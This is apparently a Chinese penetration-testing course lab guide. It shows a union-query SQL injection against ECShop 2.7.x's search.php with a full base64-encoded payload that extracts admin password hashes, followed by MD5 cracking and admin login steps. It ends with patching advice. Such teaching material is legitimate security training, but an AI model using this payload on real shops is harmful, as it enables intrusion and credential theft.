网络渗透与防护 课中学习 SQL注入-联合查询-ECSHOP实验指导(文档附件）.docVIP

预备知识： ECShop是上海商派网络科技有限公司（ShopEx）旗下——B2C独立网店系统，适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。 ECShop悉心听取每一位商家的需求与建议，不仅设计了人性化的网店管理系统帮助商家快速上手，还根据中国人的购物习惯改进了购物流程，实现更好的用户购物体验。 经过近两年的发展，ECShop网店系统无论在产品功能、稳定性、执行效率、负载能力、安全性和SEO支持(搜索引擎优化)等方面都居国内同类产品领先地位，成为国内最流行的购物系统之一。 实验操作步骤： 打开使用ECSHOP的网站：54/ 在IE浏览器里输入测试语句： 『54/search.php?encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uIHNlbGVjdCAxIyInKSwxIGZyb20gZWNzX2FkbWluX3VzZXIjIjtzOjE6IjEiO319』 注入得到ECSHOP 2.7.X版本的后台管理员账户与密码哈希值。 把获取到的管理员账户密码的哈希值，进行破解。 打开http://www.hashkiller.co.uk/md5-decrypter.aspx MD5破解网站进行解码。 以上得出管理员用户与密码为:admin / 123456asdf.然后找出ECSHOP后台登陆地址进行登陆。在百度搜索ECSHOP后台默认登陆地址，得到其后台地址为：54/admin 后台地址特殊情况下也可使用后台扫描程序得出。 输入获取到的密码进行登陆： 成功登陆： 成功登陆后可进行进一步操作。 预防方法 打补丁，更新ECSHOP为最新版本，更改后台地址为更加复杂，更改管理员默认账户名称与加强复杂密码，同事最好更改PHPMYADMIN的后台地址，或者把此管理程序删除或不对外公开。